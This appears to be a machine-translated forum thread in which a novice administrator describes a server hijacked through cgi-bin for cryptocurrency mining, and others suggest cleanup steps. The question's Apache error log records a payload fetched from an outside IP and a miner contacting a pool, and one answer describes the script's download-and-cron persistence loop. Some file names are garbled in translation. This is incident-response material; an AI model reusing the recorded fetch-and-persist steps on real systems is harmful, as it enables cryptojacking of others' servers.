我的情况有点糟糕,我的服务器被劫持了,而且似乎参与了比特币挖矿操作。
我至少需要知道从哪里开始,我是一名新手系统管理员,以前从未真正遇到过这种情况。它耗尽了我的带宽,我的托管服务提供商向我收取每 GB 50c 的费用,因此它在一天内从 255GB 跳升至 301.8GB。任何帮助都非常感谢。
我在与 Stratum 相关的日志中发现了很多垃圾,以及针对我的服务器运行的外部 IP 地址的脚本。然后我查看我的 /tmp 目录,我看到 7 个文件,它们
- 狂欢
- 计划任务
- 机械目录
- 什
- spamd_full.sock
- 更新
我的 apache 错误日志内容示例如下:
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] --2013-11-28 16:27:40-- http://74.208.228.113/sh
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] Connecting to 74.208.228.113:80...
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] connected.
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] HTTP request sent, awaiting response...
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] 200 OK
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] Length:
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] 518288
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] (506K)
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] [text/plain]
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] Saving to: `sh'
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104]
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] 0K
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104]
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] .
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] ... .......... .......... 9% 148K 3s
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] 50K ........
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] .. .......... .......... .......... .....
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] ..... 19% 172K 3s
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] 100K .......... .......... ......
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .... .......... .......... 29% 344K 2s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] 150K .......
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] ... .......... .......... .......... .......... 39% 514K 1s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] 200K .........
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] ..
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] ..
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .. .......... .......... .......... 49% 347K 1s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] 250K .......... .......... .......... ........
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .. .......... 59% 347K 1s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] 300K .......... .......... .......... .......... .......... 69% 224M 1s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] 350K .
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] ......... .......... .......... .......... .......... 79% 347K 0s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] 400K .......... ...
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] ....... .......... .......... .......... 88% 348K 0s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] 450K .......... .......... .......... .......... .......... 98% 254M 0s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] 500K ...
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] ... 100% 64.1K=1.5s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] 2013-11-28 16:27:41 (328 KB/s) - `sh' saved [518288/518288]
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]
[Thu Nov 28 16:27:58 2013] [error] [client 173.201.45.104] kill: usage: kill [-s sigspec | -n signum | -sigspec] pid | jobspec ... or kill -l [sigspec]
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] kill: usage: kill [-s sigspec | -n signum | -sigspec] pid | jobspec ... or kill -l [sigspec]
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] a: line 24: ./bash: No such file or directory
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] chattr
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] :
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] Operation not permitted
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104]
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] while setting flags on bash
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] \r
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] chattr
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] :
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] Operation not permitted
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104]
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] while setting flags on sh
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] \r
[Thu Nov 28 16:28:28 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:28] 2 miner threads started, using 'scrypt' algorithm.
[Thu Nov 28 16:28:28 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:28] Starting Stratum on stratum+tcp://216.230.103.42:3333
[Thu Nov 28 16:28:28 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:28] Stratum connection failed: Failed connect to 216.230.103.42:3333; Connection refused
[Thu Nov 28 16:28:28 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:28] ...retry after 30 seconds
[Thu Nov 28 16:28:33 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:33] Binding thread 1 to cpu 1
[Thu Nov 28 16:28:58 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:58] Stratum connection failed: Failed connect to 216.230.103.42:3333; Connection refused
[Thu Nov 28 16:28:58 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:58] ...retry after 30 seconds
[Thu Nov 28 16:29:21 2013] [error] [client 173.201.45.104] [2013-11-28 16:29:21] Binding thread 0 to cpu 0
[Thu Nov 28 16:29:28 2013] [error] [client 173.201.45.104] [2013-11-28 16:29:28] Stratum connection failed: Failed connect to 216.230.103.42:3333; Connection refused
答案1
我首先使用 iptables 阻止与外部地址的连接
iptables -A OUTPUT -d IP_Address -j DROP
一旦您确定所有 IP 地址都被阻止,请保存 iptables:# /sbin/service iptables save
然后清理劫持者放置的文件。
您可能需要查看/etc/var/log/messages
劫机者/etc/var/log/secure
是否留下任何条目,这些条目可能表明他/她如何在您的服务器上站稳脚跟。
如果您正在运行网站,请确保您没有任何允许用户上传文件(如 PHP shell)的网页。
这应该可以帮助您入门。您还可以要求托管服务提供商执行防病毒扫描,以查找允许访问的任何脚本/文件。
答案2
您的机器人矿工没有连接,所以它会不断地重新运行漏洞并一遍又一遍地下载矿工。
我们最近看到了一次看起来相关的、利用不良 cgi-bin 设置的尝试。
它正在尝试下载
74.208.228.113 / a
并将其作为 shell 脚本执行。
我们查看该脚本时,发现它做了几件事,它删除了 crontab 条目,并尝试运行从
74.208.228.113 / update
它还将相同的脚本放在 /etc/cron.hourly 中
该脚本执行“ps x”并查找成功的矿工连接。如果没有找到,它会再次下载脚本并重新运行。
在脚本的最后,它抓取
74.208.228.113 / clamav
和
74.208.228.113 / sh
看起来是不同编译版本的 minerd。它将 clamav 重命名为 bash,然后在 216.230.103.42 启动两个挖矿。
因此,如果您受到类似方式的利用,您需要:
禁用 cgi-bin
检查 crontab 中运行 httpd 的用户(可能是 root 或 apache)并删除“更新”条目
检查 /etc/cron.hourly/ 中是否有一个名为 update 的文件,看看它是否引用了矿工无法连接的 216.230.103.42。删除该文件即可
那些更新条目占用了带宽。crontab 每分钟运行一次。
不过,我认为更好的答案是从轨道上摧毁它。如果你的 cgi-bin 设置为允许运行脚本的远程攻击,那么就没有保证了